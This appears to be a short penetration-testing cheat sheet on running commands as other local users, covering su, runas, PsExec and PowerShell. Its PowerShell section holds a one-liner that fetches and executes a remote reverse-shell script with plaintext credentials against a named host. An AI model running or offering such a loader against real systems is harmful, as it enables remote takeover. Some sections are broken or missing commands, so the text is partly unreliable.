Run Commands As
Some times we need to do a lateral or vertical movement between the same hosts only switching between local users, and we cant use any type of authenticated service such as SMB or SSH.
Linux¶
Linux has the easiest way to change between users using the su command.
To change to root user (need to be in sudoer group)
Windows¶
Cmd¶
runas command gives us the oportunity in cmd the opportunity to run some commands as other users.
runas /user:username <program>
runas /user:domain\username <program>
runas /user:username@domain <program>
PsExec¶
PsExec is part of a growing kit of Sysinternals command-line tools that aid in the administration of local and remote systems named PsTools.
Powershell¶
$user='WORKGROUP\User';
$pass='passwd';
Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString('http://<IP>:<PORT>/rev_shell.ps1') } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force))
NetBSD¶
Similar like sudo
Similar like sudoto change to rootuser: